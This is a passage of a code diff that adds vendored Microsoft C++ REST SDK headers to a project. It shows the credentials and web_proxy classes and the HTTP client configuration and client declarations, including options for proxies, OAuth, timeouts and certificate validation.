|
/// </summary>
|
||||||
|
class credentials
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs an empty set of credentials without a user name or password.
|
||||||
|
/// </summary>
|
||||||
|
credentials() {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs credentials from given user name and password.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="username">User name as a string.</param>
|
||||||
|
/// <param name="password">Password as a string.</param>
|
||||||
|
credentials(utility::string_t username, const utility::string_t& password)
|
||||||
|
: m_username(std::move(username)), m_password(password)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The user name associated with the credentials.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A string containing the user name.</returns>
|
||||||
|
const utility::string_t& username() const { return m_username; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The password for the user name associated with the credentials.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A string containing the password.</returns>
|
||||||
|
CASABLANCA_DEPRECATED(
|
||||||
|
"This API is deprecated for security reasons to avoid unnecessary password copies stored in plaintext.")
|
||||||
|
utility::string_t password() const
|
||||||
|
{
|
||||||
|
#if defined(_WIN32) && !defined(CPPREST_TARGET_XP)
|
||||||
|
return utility::string_t(*m_password.decrypt());
|
||||||
|
#else
|
||||||
|
return m_password;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if credentials have been set
|
||||||
|
/// </summary>
|
||||||
|
/// <returns><c>true</c> if user name and password is set, <c>false</c> otherwise.</returns>
|
||||||
|
bool is_set() const { return !m_username.empty(); }
|
||||||
|
|
||||||
|
details::plaintext_string _internal_decrypt() const
|
||||||
|
{
|
||||||
|
// Encryption APIs not supported on XP
|
||||||
|
#if defined(_WIN32) && !defined(CPPREST_TARGET_XP)
|
||||||
|
return m_password.decrypt();
|
||||||
|
#else
|
||||||
|
return details::plaintext_string(new ::utility::string_t(m_password));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
::utility::string_t m_username;
|
||||||
|
|
||||||
|
#if defined(_WIN32) && !defined(CPPREST_TARGET_XP)
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
details::winrt_encryption m_password;
|
||||||
|
#else
|
||||||
|
details::win32_encryption m_password;
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
::utility::string_t m_password;
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// web_proxy represents the concept of the web proxy, which can be auto-discovered,
|
||||||
|
/// disabled, or specified explicitly by the user.
|
||||||
|
/// </summary>
|
||||||
|
class web_proxy
|
||||||
|
{
|
||||||
|
enum web_proxy_mode_internal
|
||||||
|
{
|
||||||
|
use_default_,
|
||||||
|
use_auto_discovery_,
|
||||||
|
disabled_,
|
||||||
|
user_provided_
|
||||||
|
};
|
||||||
|
|
||||||
|
public:
|
||||||
|
enum web_proxy_mode
|
||||||
|
{
|
||||||
|
use_default = use_default_,
|
||||||
|
use_auto_discovery = use_auto_discovery_,
|
||||||
|
disabled = disabled_
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs a proxy with the default settings.
|
||||||
|
/// </summary>
|
||||||
|
web_proxy() : m_address(_XPLATSTR("")), m_mode(use_default_) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a proxy with specified mode.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mode">Mode to use.</param>
|
||||||
|
web_proxy(web_proxy_mode mode) : m_address(_XPLATSTR("")), m_mode(static_cast<web_proxy_mode_internal>(mode)) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a proxy explicitly with provided address.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="address">Proxy URI to use.</param>
|
||||||
|
web_proxy(uri address) : m_address(address), m_mode(user_provided_) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets this proxy's URI address. Returns an empty URI if not explicitly set by user.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to this proxy's URI.</returns>
|
||||||
|
const uri& address() const { return m_address; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the credentials used for authentication with this proxy.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Credentials to for this proxy.</returns>
|
||||||
|
const web::credentials& credentials() const { return m_credentials; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the credentials to use for authentication with this proxy.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="cred">Credentials to use for this proxy.</param>
|
||||||
|
void set_credentials(web::credentials cred)
|
||||||
|
{
|
||||||
|
if (m_mode == disabled_)
|
||||||
|
{
|
||||||
|
throw std::invalid_argument("Cannot attach credentials to a disabled proxy");
|
||||||
|
}
|
||||||
|
m_credentials = std::move(cred);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if this proxy was constructed with default settings.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if default, false otherwise.</param>
|
||||||
|
bool is_default() const { return m_mode == use_default_; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if using a proxy is disabled.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if disabled, false otherwise.</returns>
|
||||||
|
bool is_disabled() const { return m_mode == disabled_; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if the auto discovery protocol, WPAD, is to be used.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if auto discovery enabled, false otherwise.</returns>
|
||||||
|
bool is_auto_discovery() const { return m_mode == use_auto_discovery_; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if a proxy address is explicitly specified by the user.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if a proxy address was explicitly specified, false otherwise.</returns>
|
||||||
|
bool is_specified() const { return m_mode == user_provided_; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
web::uri m_address;
|
||||||
|
web_proxy_mode_internal m_mode;
|
||||||
|
web::credentials m_credentials;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace web
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,755 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* HTTP Library: Client-side APIs.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#define _NO_ASYNCRTIMP
|
||||||
|
|
||||||
|
// Remove Boots dependency.
|
||||||
|
#define CPPREST_EXCLUDE_WEBSOCKETS
|
||||||
|
|
||||||
|
// Static libraries for cpprestsdk.
|
||||||
|
#ifdef _WIN64
|
||||||
|
#define CPPRESTSDK_ARCH "x64/"
|
||||||
|
#else
|
||||||
|
#define CPPRESTSDK_ARCH "x86/"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define CPPRESTSDK_BUILD_TYPE "debug/"
|
||||||
|
#else
|
||||||
|
#define CPPRESTSDK_BUILD_TYPE "release/"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#pragma comment(lib, "Common/CppRestSdk/lib/" CPPRESTSDK_BUILD_TYPE CPPRESTSDK_ARCH "cpprest142_2_10.lib")
|
||||||
|
#undef CPPRESTSDK_ARCH
|
||||||
|
#undef CPPRESTSDK_BUILD_TYPE
|
||||||
|
|
||||||
|
#pragma comment(lib, "crypt32.lib")
|
||||||
|
#pragma comment(lib, "bcrypt.lib")
|
||||||
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
|
#ifndef CASA_HTTP_CLIENT_H
|
||||||
|
#define CASA_HTTP_CLIENT_H
|
||||||
|
|
||||||
|
#if defined(__cplusplus_winrt)
|
||||||
|
#if !defined(__WRL_NO_DEFAULT_LIB__)
|
||||||
|
#define __WRL_NO_DEFAULT_LIB__
|
||||||
|
#endif
|
||||||
|
#include <msxml6.h>
|
||||||
|
#include <wrl.h>
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
typedef IXMLHTTPRequest2* native_handle;
|
||||||
|
}
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
||||||
|
#else
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
typedef void* native_handle;
|
||||||
|
}
|
||||||
|
} // namespace http
|
||||||
|
} // namespace web
|
||||||
|
#endif // __cplusplus_winrt
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/asyncrt_utils.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/web_utilities.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/http_msg.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/json.h"
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/uri.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <limits>
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
#if !defined(CPPREST_TARGET_XP)
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/oauth1.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/oauth2.h"
|
||||||
|
|
||||||
|
#if !defined(_WIN32) && !defined(__cplusplus_winrt) || defined(CPPREST_FORCE_HTTP_CLIENT_ASIO)
|
||||||
|
#if defined(__clang__)
|
||||||
|
#pragma clang diagnostic push
|
||||||
|
#pragma clang diagnostic ignored "-Wconversion"
|
||||||
|
#endif
|
||||||
|
#include "boost/asio/ssl.hpp"
|
||||||
|
#if defined(__clang__)
|
||||||
|
#pragma clang diagnostic pop
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// The web namespace contains functionality common to multiple protocols like HTTP and WebSockets.
|
||||||
|
namespace web
|
||||||
|
{
|
||||||
|
/// Declarations and functionality for the HTTP protocol.
|
||||||
|
namespace http
|
||||||
|
{
|
||||||
|
/// HTTP client side library.
|
||||||
|
namespace client
|
||||||
|
{
|
||||||
|
// credentials and web_proxy class has been moved from web::http::client namespace to web namespace.
|
||||||
|
// The below using declarations ensure we don't break existing code.
|
||||||
|
// Please use the web::credentials and web::web_proxy class going forward.
|
||||||
|
using web::credentials;
|
||||||
|
using web::web_proxy;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// HTTP client configuration class, used to set the possible configuration options
|
||||||
|
/// used to create an http_client instance.
|
||||||
|
/// </summary>
|
||||||
|
class http_client_config
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
http_client_config()
|
||||||
|
: m_guarantee_order(false)
|
||||||
|
, m_timeout(std::chrono::seconds(30))
|
||||||
|
, m_chunksize(0)
|
||||||
|
, m_request_compressed(false)
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
, m_validate_certificates(true)
|
||||||
|
#endif
|
||||||
|
#if !defined(_WIN32) && !defined(__cplusplus_winrt) || defined(CPPREST_FORCE_HTTP_CLIENT_ASIO)
|
||||||
|
, m_tlsext_sni_enabled(true)
|
||||||
|
#endif
|
||||||
|
#if defined(_WIN32) && !defined(__cplusplus_winrt)
|
||||||
|
, m_buffer_request(false)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
#if !defined(CPPREST_TARGET_XP)
|
||||||
|
/// <summary>
|
||||||
|
/// Get OAuth 1.0 configuration.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Shared pointer to OAuth 1.0 configuration.</returns>
|
||||||
|
const std::shared_ptr<oauth1::experimental::oauth1_config> oauth1() const { return m_oauth1; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set OAuth 1.0 configuration.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="config">OAuth 1.0 configuration to set.</param>
|
||||||
|
void set_oauth1(oauth1::experimental::oauth1_config config)
|
||||||
|
{
|
||||||
|
m_oauth1 = std::make_shared<oauth1::experimental::oauth1_config>(std::move(config));
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get OAuth 2.0 configuration.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>Shared pointer to OAuth 2.0 configuration.</returns>
|
||||||
|
const std::shared_ptr<oauth2::experimental::oauth2_config> oauth2() const { return m_oauth2; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set OAuth 2.0 configuration.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="config">OAuth 2.0 configuration to set.</param>
|
||||||
|
void set_oauth2(oauth2::experimental::oauth2_config config)
|
||||||
|
{
|
||||||
|
m_oauth2 = std::make_shared<oauth2::experimental::oauth2_config>(std::move(config));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the web proxy object
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the web proxy object.</returns>
|
||||||
|
const web_proxy& proxy() const { return m_proxy; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the web proxy object
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="proxy">A reference to the web proxy object.</param>
|
||||||
|
void set_proxy(web_proxy proxy) { m_proxy = std::move(proxy); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the client credentials
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the client credentials.</returns>
|
||||||
|
const http::client::credentials& credentials() const { return m_credentials; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the client credentials
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="cred">A reference to the client credentials.</param>
|
||||||
|
void set_credentials(const http::client::credentials& cred) { m_credentials = cred; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the 'guarantee order' property
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The value of the property.</returns>
|
||||||
|
bool guarantee_order() const { return m_guarantee_order; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the 'guarantee order' property
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="guarantee_order">The value of the property.</param>
|
||||||
|
CASABLANCA_DEPRECATED(
|
||||||
|
"Confusing API will be removed in future releases. If you need to order HTTP requests use task continuations.")
|
||||||
|
void set_guarantee_order(bool guarantee_order) { m_guarantee_order = guarantee_order; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the timeout
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The timeout (in seconds) used for each send and receive operation on the client.</returns>
|
||||||
|
utility::seconds timeout() const { return std::chrono::duration_cast<utility::seconds>(m_timeout); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the timeout
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The timeout (in whatever duration) used for each send and receive operation on the client.</returns>
|
||||||
|
template<class T>
|
||||||
|
T timeout() const
|
||||||
|
{
|
||||||
|
return std::chrono::duration_cast<T>(m_timeout);
|
||||||
|
}
|
||||||
|
/// <summary>
|
||||||
|
/// Set the timeout
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="timeout">The timeout (duration from microseconds range and up) used for each send and receive
|
||||||
|
/// operation on the client.</param>
|
||||||
|
template<class T>
|
||||||
|
void set_timeout(const T& timeout)
|
||||||
|
{
|
||||||
|
m_timeout = std::chrono::duration_cast<std::chrono::microseconds>(timeout);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get the client chunk size.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>The internal buffer size used by the http client when sending and receiving data from the
|
||||||
|
/// network.</returns>
|
||||||
|
size_t chunksize() const { return m_chunksize == 0 ? 64 * 1024 : m_chunksize; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the client chunk size.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="size">The internal buffer size used by the http client when sending and receiving data from the
|
||||||
|
/// network.</param> <remarks>This is a hint -- an implementation may disregard the setting and use some other chunk
|
||||||
|
/// size.</remarks>
|
||||||
|
void set_chunksize(size_t size) { m_chunksize = size; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns true if the default chunk size is in use.
|
||||||
|
/// <remarks>If true, implementations are allowed to choose whatever size is best.</remarks>
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if default, false if set by user.</returns>
|
||||||
|
bool is_default_chunksize() const { return m_chunksize == 0; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if requesting a compressed response using Content-Encoding is turned on, the default is off.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if a content-encoded compressed response is allowed, false otherwise</returns>
|
||||||
|
bool request_compressed_response() const { return m_request_compressed; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Request that the server respond with a compressed body using Content-Encoding; to use Transfer-Encoding, do not
|
||||||
|
/// set this, and specify a vector of <see cref="web::http::details::compression::decompress_factory" /> pointers
|
||||||
|
/// to the set_decompress_factories method of the <see cref="web::http::http_request" /> object for the request.
|
||||||
|
/// If true and the server does not support compression, this will have no effect.
|
||||||
|
/// The response body is internally decompressed before the consumer receives the data.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="request_compressed">True to turn on content-encoded response body compression, false
|
||||||
|
/// otherwise.</param> <remarks>Please note there is a performance cost due to copying the request data. Currently
|
||||||
|
/// only supported on Windows and OSX.</remarks>
|
||||||
|
void set_request_compressed_response(bool request_compressed) { m_request_compressed = request_compressed; }
|
||||||
|
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the server certificate validation property.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if certificates are to be verified, false otherwise.</returns>
|
||||||
|
bool validate_certificates() const { return m_validate_certificates; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the server certificate validation property.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="validate_certs">False to turn ignore all server certificate validation errors, true
|
||||||
|
/// otherwise.</param> <remarks>Note ignoring certificate errors can be dangerous and should be done with
|
||||||
|
/// caution.</remarks>
|
||||||
|
void set_validate_certificates(bool validate_certs) { m_validate_certificates = validate_certs; }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_WIN32) && !defined(__cplusplus_winrt)
|
||||||
|
/// <summary>
|
||||||
|
/// Checks if request data buffering is turned on, the default is off.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if buffering is enabled, false otherwise</returns>
|
||||||
|
bool buffer_request() const { return m_buffer_request; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the request buffering property.
|
||||||
|
/// If true, in cases where the request body/stream doesn't support seeking the request data will be buffered.
|
||||||
|
/// This can help in situations where an authentication challenge might be expected.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="buffer_request">True to turn on buffer, false otherwise.</param>
|
||||||
|
/// <remarks>Please note there is a performance cost due to copying the request data.</remarks>
|
||||||
|
void set_buffer_request(bool buffer_request) { m_buffer_request = buffer_request; }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a callback to enable custom setting of platform specific options.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// The native_handle is the following type depending on the underlying platform:
|
||||||
|
/// Windows Desktop, WinHTTP - HINTERNET (session)
|
||||||
|
/// </remarks>
|
||||||
|
/// <param name="callback">A user callback allowing for customization of the session</param>
|
||||||
|
void set_nativesessionhandle_options(const std::function<void(native_handle)>& callback)
|
||||||
|
{
|
||||||
|
m_set_user_nativesessionhandle_options = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Invokes a user's callback to allow for customization of the session.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>Internal Use Only</remarks>
|
||||||
|
/// <param name="handle">A internal implementation handle.</param>
|
||||||
|
void _invoke_nativesessionhandle_options(native_handle handle) const
|
||||||
|
{
|
||||||
|
if (m_set_user_nativesessionhandle_options) m_set_user_nativesessionhandle_options(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a callback to enable custom setting of platform specific options.
|
||||||
|
/// </summary>
|
||||||
|
/// <remarks>
|
||||||
|
/// The native_handle is the following type depending on the underlying platform:
|
||||||
|
/// Windows Desktop, WinHTTP - HINTERNET
|
||||||
|
/// Windows Runtime, WinRT - IXMLHTTPRequest2 *
|
||||||
|
/// All other platforms, Boost.Asio:
|
||||||
|
/// https - boost::asio::ssl::stream<boost::asio::ip::tcp::socket &> *
|
||||||
|
/// http - boost::asio::ip::tcp::socket *
|
||||||
|
/// </remarks>
|
||||||
|
/// <param name="callback">A user callback allowing for customization of the request</param>
|
||||||
|
void set_nativehandle_options(const std::function<void(native_handle)>& callback)
|
||||||
|
{
|
||||||
|
m_set_user_nativehandle_options = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Invokes a user's callback to allow for customization of the request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="handle">A internal implementation handle.</param>
|
||||||
|
void invoke_nativehandle_options(native_handle handle) const
|
||||||
|
{
|
||||||
|
if (m_set_user_nativehandle_options) m_set_user_nativehandle_options(handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if !defined(_WIN32) && !defined(__cplusplus_winrt) || defined(CPPREST_FORCE_HTTP_CLIENT_ASIO)
|
||||||
|
/// <summary>
|
||||||
|
/// Sets a callback to enable custom setting of the ssl context, at construction time.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="callback">A user callback allowing for customization of the ssl context at construction
|
||||||
|
/// time.</param>
|
||||||
|
void set_ssl_context_callback(const std::function<void(boost::asio::ssl::context&)>& callback)
|
||||||
|
{
|
||||||
|
m_ssl_context_callback = callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the user's callback to allow for customization of the ssl context.
|
||||||
|
/// </summary>
|
||||||
|
const std::function<void(boost::asio::ssl::context&)>& get_ssl_context_callback() const
|
||||||
|
{
|
||||||
|
return m_ssl_context_callback;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the TLS extension server name indication (SNI) status.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>True if TLS server name indication is enabled, false otherwise.</returns>
|
||||||
|
bool is_tlsext_sni_enabled() const { return m_tlsext_sni_enabled; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the TLS extension server name indication (SNI) status.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="tlsext_sni_enabled">False to disable the TLS (ClientHello) extension for server name indication,
|
||||||
|
/// true otherwise.</param> <remarks>Note: This setting is enabled by default as it is required in most virtual
|
||||||
|
/// hosting scenarios.</remarks>
|
||||||
|
void set_tlsext_sni_enabled(bool tlsext_sni_enabled) { m_tlsext_sni_enabled = tlsext_sni_enabled; }
|
||||||
|
#endif
|
||||||
|
|
||||||
|
private:
|
||||||
|
#if !defined(CPPREST_TARGET_XP)
|
||||||
|
std::shared_ptr<oauth1::experimental::oauth1_config> m_oauth1;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
std::shared_ptr<oauth2::experimental::oauth2_config> m_oauth2;
|
||||||
|
web_proxy m_proxy;
|
||||||
|
http::client::credentials m_credentials;
|
||||||
|
// Whether or not to guarantee ordering, i.e. only using one underlying TCP connection.
|
||||||
|
bool m_guarantee_order;
|
||||||
|
|
||||||
|
std::chrono::microseconds m_timeout;
|
||||||
|
size_t m_chunksize;
|
||||||
|
bool m_request_compressed;
|
||||||
|
|
||||||
|
#if !defined(__cplusplus_winrt)
|
||||||
|
// IXmlHttpRequest2 doesn't allow configuration of certificate verification.
|
||||||
|
bool m_validate_certificates;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
std::function<void(native_handle)> m_set_user_nativehandle_options;
|
||||||
|
std::function<void(native_handle)> m_set_user_nativesessionhandle_options;
|
||||||
|
|
||||||
|
#if !defined(_WIN32) && !defined(__cplusplus_winrt) || defined(CPPREST_FORCE_HTTP_CLIENT_ASIO)
|
||||||
|
std::function<void(boost::asio::ssl::context&)> m_ssl_context_callback;
|
||||||
|
bool m_tlsext_sni_enabled;
|
||||||
|
#endif
|
||||||
|
#if defined(_WIN32) && !defined(__cplusplus_winrt)
|
||||||
|
bool m_buffer_request;
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
class http_pipeline;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// HTTP client class, used to maintain a connection to an HTTP service for an extended session.
|
||||||
|
/// </summary>
|
||||||
|
class http_client
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new http_client connected to specified uri.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="base_uri">A string representation of the base uri to be used for all requests. Must start with
|
||||||
|
/// either "http://" or "https://"</param>
|
||||||
|
_ASYNCRTIMP http_client(const uri& base_uri);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a new http_client connected to specified uri.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="base_uri">A string representation of the base uri to be used for all requests. Must start with
|
||||||
|
/// either "http://" or "https://"</param> <param name="client_config">The http client configuration object
|
||||||
|
/// containing the possible configuration options to initialize the <c>http_client</c>. </param>
|
||||||
|
_ASYNCRTIMP http_client(const uri& base_uri, const http_client_config& client_config);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Note the destructor doesn't necessarily close the connection and release resources.
|
||||||
|
/// The connection is reference counted with the http_responses.
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP ~http_client() CPPREST_NOEXCEPT;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the base URI.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// A base URI initialized in constructor
|
||||||
|
/// </returns>
|
||||||
|
_ASYNCRTIMP const uri& base_uri() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Get client configuration object
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>A reference to the client configuration object.</returns>
|
||||||
|
_ASYNCRTIMP const http_client_config& client_config() const;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds an HTTP pipeline stage to the client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="handler">A function object representing the pipeline stage.</param>
|
||||||
|
_ASYNCRTIMP void add_handler(const std::function<pplx::task<http_response> __cdecl(
|
||||||
|
http_request, std::shared_ptr<http::http_pipeline_stage>)>& handler);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds an HTTP pipeline stage to the client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="stage">A shared pointer to a pipeline stage.</param>
|
||||||
|
_ASYNCRTIMP void add_handler(const std::shared_ptr<http::http_pipeline_stage>& stage);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="request">Request to send.</param>
|
||||||
|
/// <param name="token">Cancellation token for cancellation of this request operation.</param>
|
||||||
|
/// <returns>An asynchronous operation that is completed once a response from the request is received.</returns>
|
||||||
|
_ASYNCRTIMP pplx::task<http_response> request(
|
||||||
|
http_request request, const pplx::cancellation_token& token = pplx::cancellation_token::none());
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="token">Cancellation token for cancellation of this request operation.</param>
|
||||||
|
/// <returns>An asynchronous operation that is completed once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
||||||
|
{
|
||||||
|
http_request msg(mtd);
|
||||||
|
return request(msg, token);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Asynchronously sends an HTTP request.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="mtd">HTTP request method.</param>
|
||||||
|
/// <param name="path_query_fragment">String containing the path, query, and fragment, relative to the http_client's
|
||||||
|
/// base URI.</param> <param name="token">Cancellation token for cancellation of this request operation.</param>
|
||||||
|
/// <returns>An asynchronous operation that is completed once a response from the request is received.</returns>
|
||||||
|
pplx::task<http_response> request(const method& mtd,
|
||||||
|
const utility::string_t& path_query_fragment,
|
||||||
|
const pplx::cancellation_token& token = pplx::cancellation_token::none())
|
